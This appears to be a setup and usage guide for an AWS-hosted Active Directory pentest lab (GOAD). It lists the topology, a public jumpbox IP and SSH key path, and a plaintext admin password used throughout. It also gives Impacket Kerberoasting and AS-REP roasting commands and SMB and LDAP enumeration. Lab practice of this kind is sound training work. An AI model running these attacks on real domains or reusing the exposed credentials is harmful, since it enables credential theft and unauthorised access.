Goad

GOAD — Game of Active Directory Lab

AWS-hosted Active Directory pentest lab with multi-forest, multi-domain topology for practicing AD attacks, lateral movement, and Kerberos exploitation.

Network Topology

Internet → Jumpbox (15.188.19.167) → Private Subnet (192.168.56.0/24)
                                        ├── DC01  (192.168.56.10)  sevenkingdoms.local        [PDC]
                                        ├── DC02  (192.168.56.11)  north.sevenkingdoms.local  [Child DC]
                                        ├── DC03  (192.168.56.12)  essos.local                [Separate forest]
                                        ├── SRV02 (192.168.56.22)  north.sevenkingdoms.local  [Member]
                                        └── SRV03 (192.168.56.23)  essos.local                [Member]

Server Configuration

Jumpbox (Ubuntu 22.04)

SSH Access:

ssh -i cyberagent/GOAD/workspace/03ea37-goad-aws/ssh_keys/ubuntu-jumpbox.pem ubuntu@15.188.19.167

Privesc to root:

sudo -i

Tunnel Windows hosts through jumpbox:

# Forward WinRM (5985/5986) for a target through the jumpbox
ssh -i cyberagent/GOAD/workspace/03ea37-goad-aws/ssh_keys/ubuntu-jumpbox.pem \
    -L 5985:192.168.56.10:5985 \
    ubuntu@15.188.19.167

Windows Servers

All servers currently in WORKGROUP (not yet domain-joined).

Credentials

WinRM Connection

Use the pywinrm skill or direct WinRM from the jumpbox:

# From jumpbox — test WinRM connectivity
python3 -c "
import winrm
s = winrm.Session('192.168.56.10', auth=('goadmin', '8dCT-DJjgScp'))
r = s.run_cmd('hostname')
print(r.std_out.decode())
"

# Or via pywinrm skill (handles tunneling automatically)
# Target: 192.168.56.10, User: goadmin, Password: 8dCT-DJjgScp

Ansible Provisioning

The GOAD environment uses Ansible playbooks to provision the AD lab. From the jumpbox:

# Navigate to the GOAD workspace
cd ~/cyberagent/GOAD/workspace/03ea37-goad-aws/

# Check inventory
cat inventory

# Run the GOAD provisioning playbook
ansible-playbook -i inventory goad.yml

# Or run specific roles
ansible-playbook -i inventory --tags ad goad.yml

Attack Paths (Post-Provisioning)

Once the AD environment is provisioned, these are the key attack surfaces:

1. sevenkingdoms.local → north.sevenkingdoms.local (parent → child trust)
2. essos.local (separate forest, forest trust possible)
3. Kerberoasting across all SPNs
4. AS-REP Roasting for pre-auth disabled accounts
5. Lateral movement via pass-the-hash / overpass-the-hash
6. ACL abuse (GenericAll, WriteDacl, ForceChangePassword)
7. GPO abuse for privilege escalation
8. Constrained delegation paths between domains
9. SQL Server exploitation on member servers
10. WinRM for remote PowerShell execution

Useful Commands

From Jumpbox — Port Scanning

# Quick scan of all Windows hosts
for ip in 10 11 12 22 23; do
  echo "=== 192.168.56.$ip ==="
  nmap -sV -p 88,135,139,389,445,636,3389,5985,5986 192.168.56.$ip
done

Kerberos Enumeration (from jumpbox with Impacket)

# Get TGT for a domain user
getTGT.py sevenkingdoms.local/goadmin:'8dCT-DJjgScp' -dc-ip 192.168.56.10

# Enumerate users via Kerberos
GetNPUsers.py sevenkingdoms.local/ -usersfile users.txt -dc-ip 192.168.56.10

# AS-REP roast
GetNPUsers.py sevenkingdoms.local/ -dc-ip 192.168.56.10 -request

# Kerberoast
GetUserSPNs.py sevenkingdoms.local/goadmin:'8dCT-DJjgScp' -dc-ip 192.168.56.10 -request

SMB Enumeration

# Null session check
smbclient -L //192.168.56.10 -N

# With credentials
smbclient -L //192.168.56.10 -U 'sevenkingdoms.local/goadmin%8dCT-DJjgScp'

# Enumerate shares across all hosts
for ip in 10 11 12 22 23; do
  echo "=== 192.168.56.$ip ==="
  smbclient -L //192.168.56.$ip -U 'goadmin%<password>' 2>/dev/null
done

LDAP Enumeration

# LDAP search
ldapsearch -x -H ldap://192.168.56.10 -D 'goadmin@sevenkingdoms.local' -w '8dCT-DJjgScp' \
  -b 'DC=sevenkingdoms,DC=local' '(objectClass=user)' sAMAccountName

Troubleshooting

WinRM Connection Failed

# From jumpbox, test WinRM with curl
curl -k -u goadmin:'8dCT-DJjgScp' \
  http://192.168.56.10:5985/wsman -d '' -H "Content-Type: application/soap+xml"

# If WinRM not listening, enable via AWS Systems Manager:
aws ssm send-command \
  --instance-ids <instance-id> \
  --document-name "AWS-RunPowerShellScript" \
  --parameters 'commands=["Enable-PSRemoting -Force","Set-Item WSMan:\\localhost\\Client\\TrustedHosts * -Force"]'

SSH to Jumpbox Failed

# Verify key permissions
chmod 400 cyberagent/GOAD/workspace/03ea37-goad-aws/ssh_keys/ubuntu-jumpbox.pem

# Connect with verbose output
ssh -v -i cyberagent/GOAD/workspace/03ea37-goad-aws/ssh_keys/ubuntu-jumpbox.pem ubuntu@15.188.19.167